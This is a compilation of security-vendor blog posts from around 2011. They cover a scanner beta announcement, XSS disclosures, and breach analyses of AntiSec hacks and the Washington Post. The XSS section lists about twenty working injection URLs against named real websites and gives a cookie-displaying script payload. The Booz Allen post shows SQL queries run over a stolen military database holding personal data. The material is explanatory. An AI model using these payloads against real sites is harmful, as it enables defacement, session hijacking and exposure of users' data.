You can watch a high quality version of this video on YouTube.

Many of you have been biting their nails in anticipation of this Beta, so sit tight and read on for the next most important stage in the evolution of Acunetix WVS.  Version 8 of Web Vulnerability Scanner has been optimized to make life easier at every stage of a security scan. WVS is easier to use for web admins and security analysts alike: enhanced automation, ability to save scan settings as a template to avoid reconfiguration, and multiple instance support for simultaneous scans of several websites. WVS 8 also ushers in a new exciting co-operation between Acunetix and Imperva: developers of the industry’s leading Web Application Firewall.

If you are interested in testing the new BETA of Version 8, and you already own an Acunetix WVS Enterprise or Consultant license with a valid maintenance agreement, contact us today at beta@acunetix.com.

The FREE version of Acunetix WVS 8 BETA can be downloaded from here

New to WVS 8

Manipulation of inputs from URLs

Acunetix WVS can automatically detect URL parameters and manipulate them to detect vulnerabilities. This technology is not present in any other competing vulnerability scanner.

Automatic IIS 7  rewrite rule interpretation

Using the web application’s web.config file, WVS 8 can automatically interpret rewrite rules without requiring any manual input.

Support for custom HTTP headers

To function correctly, some web applications need incoming requests to contain specific HTTP headers. It is now possible to define custom HTTP headers to be used during automated scans.

Imperva Web Application Firewall integration

An exciting co-operation between Imperva and Acunetix: WVS 8 scan results can be automatically imported into an Imperva Web Application Firewall and interpreted as rules.

New vulnerability class: HTTP Parameter Pollution

At the time of writing, Acunetix WVS 8 is the only scanner that tests for this security vulnerability.

Multiple instance support

Acunetix WVS 8 can be relaunched as multiple instances on the same machine, allowing the user to scan multiple websites and opening up further support for multi-user scenarios on the same server/workstation.

Redesigned Scheduler

Accessible via a web interface, the new Scheduler allows administrators to download scan results from any workstation, laptop, or smartphone. The new Scheduler will automatically launch another instance of WVS when multiple web scans are due, preventing multiple processes from depending on the resources of one WVS instance and thereby allowing scans to complete in less time.

Automatic custom 404 error page recognition and detection

Acunetix WVS 8 can automatically determine if a custom error page is in use and recognizes it without requiring any custom 404 recognition patterns to be configured for a scan

Scan settings templates

WVS 8 now allow the settings for the scan of a specific application to be saved as individual templates, making it quick and easy to recall the exact settings for a website each time it is scanned. This is particularly useful when scanning multiple sites, allowing the user to load the template for each site instead of re-configuring all the settings manually.

Simplified Scan Wizard

In addition to the introduction of Scan Settings Templates and automatic custom 404 error page recognition, the Scan Wizard contains far less options so it’s much easier and quicker to kick off a scan.

Smart memory management

The following settings have been added to ensure even the most complex scans will complete automatically, and successfully:

• Define number of files per directory
• Limit number of subdirectories per website
• Assign Crawler memory limit

Real-time Crawler status

Crawler data is now updated in real-time information and provides live feedback how many files have been crawled, how many inputs have been detected, and more.

Scan termination status included in report

Reports now include the termination or completion status of each vulnerability scan. For example: the report will display if the scan was completed successfully or halted manually.

Web application coverage report

A new report template that lists all the web application files crawled and specific vulnerability tests performed on each file.

Log file retention

It is now possible to define the retention span before log files are automatically flushed; to ensure logs are not deleted each time WVS is restarted.

Significant WVS 8 improvement 

Improved web security check scripts

• All security check scripts have been optimized to reduce false positives even further
• The scanner checks for the latest variants of vulnerability classes like XSS, SQL injection, and more.

Become a Beta tester

Are you a security researcher who’s passionate about web security? Do you want to stay current with the latest cutting-edge web security scanning technologies? Contact us at beta@acunetix.com to learn more. (Requests are subject to approval)

Acunetix customers who already own an Enterprise or Consultant license with a valid maintenance agreement are automatically eligible to participate as beta testers.

The Acunetix WVS Version 8 user manual is available in PDF Format and also in HTML Format.

This time the president was lucky; the hackers were ethical and reported the exploit before publicly disclosing it. The Barack Obama website administrators took over a week to respond, but eventually patched their system with some help from the researchers. This is the white hat world where hackers follow a procedure called Responsible Disclosure. They report the exploit to the web site and wait for a fix before announcing their discovery. However there is also a dark side – an underworld of cyber-criminals who exploit website vulnerabilities for financial or political gain.

Below is the original report timeline, at the time of writing I did not have a confirmed date of the Patch, however the researchers told me that the website is not vulnerable anymore.

Report-Timeline:
================
2011-08-30: Vendor Notification
2011-09-19: Vendor Response/Feedback
2011-09-**: Vendor Fix/Patch
2011-09-12: Public or Non-Public Disclosure

Image from last year's hack against the same website

Many times XSS vulnerabilities are used to deface websites. This type of activity is the equivalent of throwing paint on a billboard on the highway. It’s easy to do and ugly for the website, however the damage is easily reversed.

This particular exploit appears to be more sophisticated than simple vandalism. Vulnerability-Lab succeeded in injecting Javascript into the back-end of the website. This Javascript, made it all the way into mailshots generated by the system. In their Proof of Concept (PoC) code the researchers demonstrated how an IFRAME exploit could be inserted into emails sent from info@barackobama.com.

This email comes from info@barackobama.com and contains a malicious script.

The screenshot above shows a page from the Global Evolution Security website as it appears embedded in an email sent from the barackobama.com website. The email source is below:

Check out this video from the President’s lunch to hear him speak=20
in his own words about what it means to organize. Then will you=20
sign up to be a volunteer for 2012 in >”<iframe =
src=3Dhttp://vulnerability-lab.com width=3D800 height=3D800>?

The attackers managed to inject this by exploiting a vulnerability in the volunteer signup form that is available on the website.

Volunteer Signup

During the signup process, the user is asked for his name, email address and other details. This form allowed them to inject the script tags that made the attack possible. Apart from appearing in emails, the attack script also appeared on other parts of the website, meaning that visitors to the barackobama.com web page were also vulnerable.

XSS attacks are often overshadowed by their ugly cousin – SQL Injection. This causes them to remain undetected for a long time. SQL Injection attacks do a lot of damage and are much more frequent, however here we see once again that XSS can be used effectively with devastating effects.

To circumvent these types of attacks it is important to run automated vulnerability scans using a Web Vulnerability Scanner. Vulnerability scanning should be followed by thorough code reviews and patches must be applied where necessary.

On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and energy.gov. The vulnerabilities were discovered by a hacker who goes by the handle *Invectus*.

Is an XSS Vulnerability a big deal?

XSS vulnerabilities (Cross-Site Scripting vulnerabilities) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and SQL Injection attacks are similar in the way they inject malicious code. The difference is that an SQL attack, injects code into the target database whereas an XSS attack injects code into the target browser. In an XSS attack the hacker uses your website to inject code into your visitor’s browser.

Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popoular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.

How to: XSS McDonalds

Below is the entire list of websites that were disclosed as vulnerable. At first glance the list is long and cryptic, but with some basic hacker techniques we can soon make some sense out of them.

http://video.state.gov/en/search/img-srchttp-i55tin
ypiccom-witu7dpng-height650-width1000/Ij48aW1nIHNyY
z0iaHR0cDovL2k1NS50aW55cGljLmNvbS93aXR1N2QucG5nIiBo
ZWlnaHQ9IjY1MCIgd2lkdGg9IjEwMDAiPg%3D%3D

http://www.telegraph.co.uk/search/?queryText=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%2
2%20height=%22650%22%20width=%221000%22%3E

http://www.dsm.com/en_US/cworld/public/home/pages/s

earchResults.jsp?search-site=%22%3E%3Cimg+src%3D%22
http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height
%3D%22650%22+width%3D%221000%22%3E&noMimimumKeyword
s=false

http://www.schools.nsw.edu.au/psearch/ext/?refine=n

ew&QueryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55
.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+wid
th%3D%221000%22%3E&Go.x=29&Go.y=25&Go=submit

http://thetablet.co.uk/search.php?q=%22%3E%3Cimg%20

src=%22http://i55.tinypic.com/witu7d.png%22%20heigh
t=%22650%22%20width=%221000%22%3E

http://www.scstatehouse.gov/cgi-bin/query.exe?firs

t=FIRST&querytext=&category=%22%3E%3Cimg%20src=%22

http://i55.tinypic.com/witu7d.png%22%20height=%226

50%22%20width=%221000%22%3E

http://www.highered.tafensw.edu.au/vsearch/tafehig

heredu/?QueryText=%22%3E%3Cimg%20src=%22http://i55
.tinypic.com/witu7d.png%22%20height=%22650%22%20wi
dth=%221000%22%3E

http://www.mcdonalds.com/content/us/en/search/sear

ch_results.html?queryText=%22%3E%3Cimg%20src=%22ht
tp://i55.tinypic.com/witu7d.png%22%20height=%22650
%22%20width=%221000%22%3E

http://www.watersportholland.nl/cgi-bin/watersport

holland/zoeken.cgi?search=Vera&query=%22%3E%3Cimg+
src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png
%22+height%3D%22650%22+width%3D%221000%22%3E

http://www.gpo.gov/fdsys/search/searchresults.acti

on?st=%22%3E%3Cimg%20src=%22http://i55.tinypic.com
/witu7d.png%22%20height=%22650%22%20width=%221000%
22%3E

http://www.networkcomputing.com/sitesearch?sort=pu

blishDate+desc&queryText=%22%3E%3Cimg+src%3D%22htt
p%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3
D%22650%22+width%3D%221000%22%3E

http://www.unc.edu/search/index.htm?q=%22%3E%3Cimg

+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.pn
g%22+height%3D%22650%22+width%3D%221000%22%3E&cx=0
14532668884084418890%3Ajyc_iub1byy&cof=FORID%3A10&
ie=UTF-8&hq=inurl%3Adevnet.unc.edu

http://cugir.mannlib.cornell.edu/search?querytext=

%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7
d.png%22%20height=%22650%22%20width=%221000%22%3E

http://ieeexplore.ieee.org./search/freesearchresul

t.jsp?newsearch=true&queryText=.QT.%3E%3Cimg+src.E
Q..QT.http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png.QT
.+height.EQ..QT.650.QT.+width.EQ..QT.1000.QT.%3E&x
=58&y=13

http://vivo-vis.cns.iu.edu/vivo1/search?querytext=

%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com
%2Fwitu7d.png%22+height%3D%22650%22+width%3D%22100
0%22%3E

http://google.nyu.edu/search?site=NYUWeb_Main&clie

nt=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&pro
xystylesheet=stern_frontend&sitesearch=www.stern.n
yu.edu&q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.ti
nypic.com%2Fwitu7d.png%22+height%3D%22650%22+width
%3D%221000%22%3E&x=8&y=6

http://ofa.fas.harvard.edu/cal/search.php?q=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%
22%20height=%22650%22%20width=%221000%22%3E

http://www.uidaho.edu/search?q=%22%3E%3Cscript%3EI

nvectus%3C/script%3E&cof=FORID:9&cref=http://www.u
idaho.edu/search?xml=1&ticks=634508915004972966

https://vivo.ufl.edu/search?flag1=1&querytext=%22%

3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fw
itu7d.png%22+height%3D%22650%22+width%3D%221000%22
%3E

http://energy.gov/search/site/%22%3E%3Cimg%20src%3

D%22http%3A//i55.tinypic.com/witu7d.png%22%20heigh
t%3D%22650%22%20width%3D%221000%22%3E

 

Understanding XSS

I will take the www.mcdonalds.com vulnerability to help explain XSS in more detail.

The raw XSS attack is repeated below:

http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tiny

pic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E

The first thing we will do is seperate the URL from the query. We split at the first question mark (?) and get two parts:

1. URL Part:

http://www.mcdonalds.com/content/us/en/search/search_results.html

2. Query Part

queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20

height=%22650%22%20width=%221000%22%3E

The URL part identifies the vulnerable file on the server. In this case the vulnerabilitie lies within the search functionality of the site, a very common attack vector for both SQL Injections and XSS attacks.

The Query Part is the actual attack code. You will notice lots of % symbols. These are called URL Encoders and are difficult to read without the right tools. I use the Acunetix HTTP Editor tool that is bundled with Acunetix WVS to decode URL Endoded Query Parts.

The human-readable Query Part now looks like this:

queryText=”><img src=”http://i55.tinypic.com/witu7d.png” height=”650″ width=”1000″>

This script is hardly malicious. It injects the image of a flag into the McDonalds web page. I tested it out assuming that McDonalds would have fixed this security flaw immediately, and I was surprised to find that the vulnerabilitiy is still there.

This attack is pretty innoctuous as it is, however a crafty hacker will most likely manage to inject other malicious, such as the code below, which displays the user’s cookie:

<IMG SRC=javascript:alert(‘You cookie is this:’ + document.cookie)>

I decided to check other websites to see if they patched their sites after the disclosure was announced. You find my results in the next sections.

Winners and Losers

I categorised the orignial list into the Winners – those who fixed the vulnerabilitiy within 24 hours of it’s diclosure, and the Losers – those who left the secuirty flaw there for everyone to exploit. Within the next few days hackers will be having a field day with the Losers especially those like IEEE Explore who serve paid content from their site.

Winners – Vulnerability is fixed:

• Harvard University
• US Department of State
• Energy.gov
• The Telegraph UK
• University of North Carolina
• Cornell University
• University of Idaho

Losers – Website is still vulnerable:

• McDonalds

• US Government Printing Office

• IEEE Explore

• DSM

• South California Legislature

• Networkcomputing.com

• VIVO

• NYU Stern

• The Tablet UK

• NSW Public Schools

How to be a Winner

It is very probable that the hacker used automated tools to scan these web sites and automatically discover vulnerabilities. The injection code for each page is slightly different so the hacker must have tweaked around with each site to make his injection successful.

If you want to stay one step ahead you will need to use similar tools that the hacker uses. The most common one is a Web Vulnerability Scanner that supports automatic XSS detection. You will need to scan your website periodically to ensure that updates to the site do not expose new flaws.

Final Thoughts

In this case our hacker single handedly defaced 20 big web sites using XSS. The companies were lucky because the hacker did not have any malicious intent other than exposing them. The danger is what will come next; now that this list is in the wild the black-hats of the hacker community will pounce at every exposed vulnerability that is not patched.

If your website is on the list above you’d better do something about it now. If you want to make sure that your site never appears on such a list make regular scans and code reviews to fix any XSS vulnerabilities you may find.

There’s no way the Acunetix Facebook iPad competition was going to fly under the radar. As soon as August was out we immediately began receiving messages asking who the competition winner was. Well, the security world is a busy one and we’ve cheekily decided to leave you toasting for a while longer just to raise a bit of suspense, but the moment has finally arrived.

So, without further ado, the winner of the June 2011 Acunetix Facebook iPad competition is:

>>> Antonio Carlos Scola <<<

Congratulations to Antonio from the Acunetix team. We hope this shiny new iPad 2 will increase your productivity with its many cutting edge business utilities, and allow you to keep updated with all our latest blog posts and announcements. We’ll be in touch with you shortly to finalize the details on redeeming your prize.

Things to come

A big thank you to all who participated by following, commenting, and liking our Facebook posts. Let me assure you that more competitions will come your way, including a super-secret lucky draw from all those who actively contribute brilliant, insightful, knowledgeable, inspiring comments on our Facebook page. So keep yourself active and get your friends to follow us too.

Next time, it could be you!

BJM was not randomly attacked. The hackers chose their target because the servers contained the databases of 78 different law enforcement agencies scattered across America.

Operation AntiSec

BJM is one of many victims of the ongoing AntiSec cyber security operation headed by the two notorious hacking groups Anonymous and LulzSec, who teamed up to attack large organizations and major governments all over the world.

The armies of Operation AntiSec have a good track record. They recently smashed the cyber fortress of the US Department of Defence. Now they have humiliated the local law enforcement agencies across all of America. In the past they brought PayPal down to it’s knees and have recently infiltrated the NATO and the UN Security Forces.

Their hit-list – and their army, is just getting bigger and bigger with no end in sight. In this last hack they announced:

“GIVE UP. You are losing the cyberwar, and the attacks against the governments, militaries, and corporations of the world will continue to escalate. Hackers, join us to make 2011 the year of leaks and revolutions.”

What was stolen

In all, 10GB of sensitive information was stolen from approximately 78 different law enforcement agencies.

This is a quick breakdown of the information they released:

• Private emails from 300 accounts
• Over 7000 passwords, addresses, phones and social security numbers
• Other server passwords for ftp/ssh, email, cpanel and protected directories
• Source code and backups from the core servers

The Missouri Sheriff’s Association who was worst hit tried, as usual, to downplay the hack. Their director Mick Covington said:

“the most the hackers got from their organization were email addresses and there were no critical details like names, social security numbers or other personal information details on their server.”

Whilst this was being said, Anonymous were using the stolen credit cards to make donations to the ACLU and Bradley Mining Support Network.

How they did it

The hacker got in by cleverly exploiting several classic vulnerabilities in the PHP driven website of the core server. The sections below outline the most prominent of these vulnerabilities, one of which I suspect is a backdoor planted by the hackers themselves. This backdoor is significant because it allowed the hackers to keep coming back for more even though the servers were upgraded multiple times in an effort to ward off the hackers.

SQL Injection

In the code below we see a classic ‘ OR ‘a’='a injection. The user-supplied data taken from $_GET[‘username’] is not validated for SQL Injection attacks. This allows the hacker to use $username and $password to manipulate the SQL query.

If you are interested in learning more about SQL Injection attacks you should watch this excellent SQL Injection Video Tutorial.

Shell Injection

Shell Injection attacks were discovered eons ago – long before SQL Injections existed, yet they remain scattered around bad source code like old war mines. When trampled upon they cause much damage.

In the screen shot above the variable $query which could have unvalidated user-input could also be used to inject shell commands directly to the server with dramatic effects.

Source Code Injection

This Souce Code Injection is one of a kind. I have never seen something like this before. These lines of code actually allow a hacker to append his own files into the server script. This type of security flaw is so unlikely that this could actually be the backdoor that AntiSec were boasting about in their press release.

Hardcoded passwords

The server was heavily fortified with industry standard encryption, and long passwords and secret keys, yet the hacker managed to decrypt every password and unlock every vault. They did this by scavenging the code for lost keys.

They found plenty.

The code above holds the key to SQL Databases Administration privileges, and in the one below the password is shown just below a warning about hardcoding passwords.

A chain is as strong as its weakest link. RSA encryption is said to be uncrackable, unless you own the private keys. Private keys are ideally not placed on a public server, and if they are they should be encrypted with another key, stored on another server. In this case, the RSA keys were stolen with a simple shell command.

SQL Dump

Now that the hacker had all the keys, he could take a quick dump – of the mySQL server of course.

Next Target

The hacker now has the entire database and hoards of usernames and passwords. This might seem like the end, but there is much more to come. In his logs, the hacker reveals how he reads the IP addresses of servers for the different jails across America that were connected to this rooted server.

What starts out as a website defacement quickly becomes a security breach of terrorising proportions. The hacker now knows the IP address of the other jails, but he also uncovers source code that works with the jail database. The code below, for example sets the release date for an inmate.

The hacker now moves to the next server in line and methodically repeats the whole process again.

First Dump, then Wipe

Once the hacker has slurped every bit of information off the servers he proceeds to do some cleanup. He destroys all the data on all over the servers using the rm -rf  command. With this command he is literally deleting all of the 78 law enforcement websites.

Conclusions

The BJMs servers were plagued with the worst security issues. A “script kiddie” could have managed to break in if he was determined enough. In this case the hacker was certainly very skilled. He executed every command with precision and for maximum damage. He did not linger too long, raped the servers completely and wiped all evidence before he left. This is the job of a specialist.

Operation AntiSec is starting to show just how vulnerable the web really is. Simple programming errors that are hard to detect can lead to a complete system compromise. In this particular case the hacker enjoyed picking at the so called “low hanging fruit”. A web vulnerability scan and good code review on troubled areas could have easily avoided such a devastating high-profile breach.

Operation Anti-Security (AntiSec) is a hacking operation, carried out by two of the biggest names in the black-hat world – Anonymous, and LulzSec. They claim to target government corruption around the world. After hacking the servers of the Serious Organised Crime Agency in the UK, they turned their attention to the Arizona Department of Public Safety, releasing three separate caches of information.

The hacktivist group has also attacked the U.S. Department of Homeland Security, the Brazilian government, the Tunisian government, the government of Zimbabwe, and many others. Most recently, the Anonymous branch of Operation AntiSec breached the servers of NATO, stealing around a gigabyte of data. They claimed that the information was so sensitive that they are not going to release all of it, claiming that it would be “irresponsible”.

What Was Stolen

Dubbed “Military Meltdown Monday”, AntiSec claims to have stolen around 90,000 military email addresses, along with hashed passwords. These were saved into a highly compressed SQL dump, for easy downloading from The Pirate Bay (TPB).

The group, making the announcement using distinctly pirate-themed language, mentioned that they also found “maps and keys for various other treasure chests buried on the islands of government agencies, federal contractors and shady whitehat companies”.

The consulting agency has a policy of not commenting on leaks or attacks on its systems. However, a spokesman for the Department of Defence has indeed confirmed the attack, and has claimed that they are working together with Booz Allen Hamilton to investigate the extent and implications of this “disgraceful event”.

Booz Allen Hamilton tried their best to downplay the breach. In a press release after the attack they said, “At this time, we do not believe that the attack extended beyond data pertaining to a learning management system for a government agency.”

Jim Lewis, a cyber security expert with the Center for Strategic and International Affairs, echoed these thoughts when he said “I’m not sure it’s a big deal, they say they got lots of email addresses? Sounds like a scavenger hunt more than a hack.”

Booz Allen and Jim Lewis, I have some terrible news for you. This breach went beyond email addresses, this is not a scavenger hunt and the breach was not confined to your learning management system.

Read the next few sections of this article to understand the scope of the attack, gain insight into how it was performed and take a peek inside the stolen data.

How they did it

The hacking group did not tell us exactly how the hack was executed, however they did mention that their entry point was an SQL Injection attack. They managed to dump the entire database into a text file which means that they probably also gained root access to the systems. This theory is further enforced by the fact that they found and stole other files, including source code and some emails. This type of data is not normally siphoned off using SQL Injection but is the indication of a deeper penetration.

The security measures on the affected system did not impress AntiSec. Their description of the security goes like this, “…we found their vessel being a puny wooden barge. We infiltrated a server on their network that basically had no security measures in place”.

This statement is outright embarrassing for Booz Allen who claim that they offer “robust cyber security solutions”. They also state on their website that “cyber security cannot be treated as an afterthought.”

AntiSec enclosed an ‘invoice’ for the security audit:

“Enclosed is the invoice for our audit of your security systems, as well as the  auditor’s conclusion.

4 hours of man power: $40.00
Network auditing: $35.00
Web-app auditing: $35.00
Network infiltration: $0.00
Password and SQL dumping: $200.00
Decryption of data: $0.00
Media and press: $0.00

Total bill: $310.00”

Although they were probably just trying to be funny, some information can be elicited from this. First of all, it seems that the hack took four hours and was kicked off by a network audit, followed by an audit on the web applications. The web application audit is probably what caught the SQL Injection vulnerability in the first place. Network infiltration followed and an SQL dump was then taken. Prices in this invoice are an indication of how much effort was involved in each of the activities.

Data analysis

To understand the scope of the hack I decided to mount the SQL dump onto my database system and perform some analysis. The database is nearly a gigabyte in size and contains over 600 tables. Sifting through this database took time and patience, however I think I have uncovered a lot of juicy information that I would like to share with you.

So what are we dealing with here? The table login_text gives some context. It contains the message that is displayed when users log into the system. This text reveals the exact usage of this database. Here is an extract:

mysql> select TEXT from login_text;

“WELCOME TO THE JOINT KNOWLEDGE DEVELOPMENT AND DISTRIBUTION CAPABILITY (JKDDC) JOINT KNOWLEDGE ONLINE (JKO) PUBLIC PORTAL/LEARNING MANAGEMENT SYSTEM, A DEFENSE DEPARTMENT RESOURCE ADDRESSING INDIVIDUAL TRAINING NEEDS VIA DISTANCE LEARNING”

From this text we learn that we are dealing with the U.S Department of Defence distance learning programme. The login text continues:

“…the JKO portal provides access to Instant Messaging, Communities of Interest, and other Joint resources.  To obtain a JKO portal account, please visit the JKO public site…”

With this we can see that the database is not only used as a Learning Management System, but also as a portal for other resources, an Instant Messaging service and also an Online Community.

The text also reveals two other public learning resources which are quite possibly also vulnerable to the same attack as this one. They are:

• https://jkolms.cmil.org/html/user/RedirectApplication.jsp
• http://www.usfk.mil/webtraining/

Another interesting note is this:

“U.S. Department of Defense Students – Please ensure you include your Social Security Number (SSN) when registering for an account with the JKO LMS…”

This statement leads me to the next stage of the investigation – what personal user information can be gathered from this stolen database?

The tables that will answer this question are: user, user_extension, address, phone and user_email.

A few SQL queries will reveal all.

The user table is my starting point.

The users table contains a lot of information including the date of birth, gender and social security number. After browsing the data I can see that most of the social security numbers are invalid and the user first and last names are not used. We can also see some system users such as SYSADMIN. These users have a strange social security number that sort of looks like a passsword, however I cannot tell for sure.

There are over 74,000 users in this table. Most of the entries were created in August 2010, however some records indicate that this database dates back to early 2008. One record was modified in March 2011 meaning that this database was being used until recently.

So, where are these users from? The address table should give us that information.

The address table is ripe with information. It gives full addresses for every user on the system. Interesting to note how many countries there are. I counted 89 distinct countries using the following SQL command:

SELECT distinct `COUNTRY_CD` FROM `address` order by country_cd asc

The phone table seems to have valid phone numbers linked to the user ID. It however only contains only 350 records, most of which date back to 2007, so they are probably old records from a previous version of the database.

The user_extension table contains a promising 70,500 records, however it also fails to reveal anything interesting apart from email addresses lost in a sea of NULLs.

Another interesting table is the one called email_address. The table contains 84,000 records, however some of them are listed as “NOEMAIL@JFCOM.MIL”. When this email address is filered out I am left with 69,000 unique email addresses. These can be linked to the mailing addresses making them a very nice data set for spammers, scammers and phishers.

Here is my output:

SELECT USER_ID, EMAIL_ADDRESS, CREATED_DATE FROM `email_address` Where email_address <> ‘NOEMAIL@JFCOM.MIL’ GROUP BY EMAIL_ADDRESS ORDER BY CREATED_DATE DESC

Most of this data comes from military sites, however there are a few personal or company email addresses too. Interestingly the full name of the person is peresent in his email address. The bar chart below shows how the majority of email addresses are distributed over top-level domains.

So far I have data mined personal information for more than seventy thousand military personell, however the group AntiSec mentioned a ‘treasure trove’ of information that will enable them to penetrate further into other miliary networks. I scavenged the database for these nuggets, here is what I found.

The password table contains 155,000 records containg the password of all the users in the database. Many users use the same passwords on multiple sites, so this information could be a very big asset for potential attacks on the users and their organizations. You can see a screen shot of the passwords here:

The password is reportedly in this format: base64(sha1(password)). If this is really the case, then all passwords could be revealed by brute-force. This can take some time for the strongest passwords, however Anonymous have already solicited the help of the public by providing the files for download in an easy format, and giving a link to the associated email addresses. Furthermore, I also noticed many duplicate passwords, this is an indication that password salting is not taking place. Salting is a technique used to slow down brute-force attacks on hashes.

One very interesting table is the activity_log. This table logs activity of online users and contains informartion such as the IP address of the user and his user-agent, which reveals the operating system and web browser that he is using. This information makes targeted attacks much more probable.

As you can see, some of these IP addresses are internal addresses, some logins also appear to be from the local machine. Logins are as recent as April 2011, meaning that the password list is very ‘fresh’. The browser and operating system are also valuable information to a hacker. It’s disheartenining to see so many Internet Explorer browsers in use.

Some other public IP addresses are also owned by Booz Allen themselves:

In all, I counted over 47,000 unique IP addresses using the following SQL command:

SELECT COUNT( DISTINCT ip_address ) FROM `activity_log`

Other IP addresses are coming from all over the place. I picked a handful and found them to come from diffrerent DoD agencies distributed across America.

Apart from personell information, I was also able to find other data in some miscellaneous tables. This data can all be used for further hacking into the government’s networks.

The table application_owner lists the possible next targets from AntiSec, as these are all contributors to the LMS.

Some more organizations can be gleaned from the table mil_quota_source_node. A total of 134 different agencies can be identified from this table.

Finally, I look at the system user table where I find a few more juicy bits. Hosts, usernames and hashed passwords which appear to be unsalted (notice same hash is listed twice.)

Verdict

I set out on this investigation to determine whether AntiSec was just bluffing, and whether Booz Allen were right to downplay the incident. My initial hunch was that a bunch of teenagers were making the headlines again because of some silly data that they managed to scrape off some ageing website. I could have not been more far off from the truth.

It is evident that this is no small breach. The sheer numbers of usernames, passwords and email addresses, along with hostnames, IP addresses, user-agents and internal user names makes this hack look like the beginning of a larger wave of attacks that will hit the American government in the coming months.

Closing

To conclude I would like to directly quote the motto of Anonymous. Their motto never scared me, however as I look deeper into the work of this group I start feeling more and more uneasy. Should we be taking these anarchists more seriously?

“We are Anonymous.
We are Legion.
We are Antisec.
We do not forgive.
We do not forget.
Expect us.”

If you are an Acunetix Web Vulnerability Scanner user (free or commercial) feel free to post any queries or suggestions you might have about configuring and using Acunetix WVS, and also about securing your web applications.  Please note that this forum is mostly user to user, and posts are NOT always answered by Acunetix staff.  Before you post your queries, we suggest you read the forums rules.

If you have Acunetix Web Vulnerability Scanner feature requests, post your idea in our new Feature Request System. You can read more about it here.

We thank you in advance for your cooperation and look forward to hear from you!

The Washington Post website has been hit with a double security breach. Hackers have made off with around 1.3 million user IDs and email address from the “Jobs” section of the site. The attackers were able to gain access on two separate occasions: on the 27th and 28th of June.

To their credit, the Washington Post appears to have acted quickly to plug the gap and set up an appropriate response. It appears that user passwords and other personal information remains safe. The Post is currently investigating the incident, has taken steps to prevent against similar attacks, and is “pursuing the matter with law enforcement”.

It appears that the worst that users can expect is an increase in the amount of unsolicited SPAM emails, as user accounts on the Jobs website remain secure.

How Did This Happen?

The Washington Post did not specify how the attack occurred, but it is quite possibly SQL Injection, or some other kind of database attack, as it appears that a database was stolen. In an SQL Injection Attack, a hacker injects his own SQL commands into a web server to read from database tables that are normally restricted. It is one of the most popular types of attacks against websites and can be used to steal entire databases.

How was the Incident Detected?

The incident could have been detected in a variety of ways. The Post might have noticed a surge in traffic to the Jobs website, looked at the log files and performed a web application vulnerability scan. This would have pointed out possible attack vectors and pinpointed the avenue of attack. It is also possible that the leak was discovered after users reported increased levels of SPAM and/or attempts at phishing.

Nobody has come forward and claimed responsibility, and the Washington Post has not pointed any fingers yet. At this point, one can only speculate.

Damage

The actual amount of personal information stolen is considerably less as compared to other recent high-profile attacks. “Only” 1.3 million user IDs and email addresses were stolen. The Washington Post acted quickly to detect and plug the gap. However, a clever attacker can leverage that information through certain malicious techniques.

The most obvious would be adding the users to a SPAM mailing list. Email SPAM is the sending of unsolicited messages to a large list of addresses. It is the digital equivalent of junk mail. The emails will be unwanted and typically sent in bulk.

If the hackers are looking to steal sensitive information, a common attack is phishing. Phishing is the digital equivalent of social engineering. It is a way to gain sensitive details from a user by posing as a trustworthy company. It is one of the leading causes of identity theft.

The typical phishing example would be a stern, official-looking email, appearing to come from a major bank. The email would usually request that the reader clicks a link and “verifies” some sensitive information.

The hackers can use the associated user IDs that they stole and pose as the Washington Post Jobs website itself. The users might be more likely to respond to the phishing emails if it contains their user ID for the website in question. This targeted form of phishing is called spear-phishing.

Lessons Learned

It is almost a statistical certainty that companies are going to get hacked. The steps that the company takes after the attack are just as important as the preventative steps before.

It is important to the have a quick and effective incident-response setup in place. Thankfully, the Washington Post Jobs site appears to, as it acted very quickly to patch the problem and warn its users. The obvious example to the contrary would be Sony, who suffered weeks of delays.

The preventative measures are important. It is essential that SQL injection vulnerabilities are scanned for and fixed. Websites are constantly changing, opening up new defects in previously-secure areas of the site.

In this day and age, there is no end to the ingenuity of the hackers and the lengths that they go through to gain access. Just like a cat-and-mouse game, it is ever more important that web administrators take every measure to stay ahead of the curve.

Alarming results have been announced following a recent survey conducted by the Ponemon Research Institute and Juniper Networks. In their survey, 583 American companies were interviewed on security related questions. The result seems to correlate with what we have been seeing in the media during the past year; hackers are nearly always successful in their endeavours to break into your company website, and stopping them is no easy task.

The headline figure shows that 90% of companies suffered a computer hack in the past 12 months alone. More often than not, companies are actually suffering from multiple successful attacks from hackers. 77% of the companies that were successfully attacked were actually hacked multiple times. The bar chart below summarises these results.

Who Attacked and Where

Most breaches (28%) were determined to have occurred at off-site locations, however 27% of respondents were willing to blame 3rd party business partners. Perhaps unsurprisingly, 40% could not conclusively determine the source of the attacks.

Companies reported that they viewed their employees’ laptops as the most common attack vector (34%), this was followed by employees’ mobile devices (29% – smartphones, tablets). It is unfortunate that the top two most common perceived attack vectors are from the employees themselves.

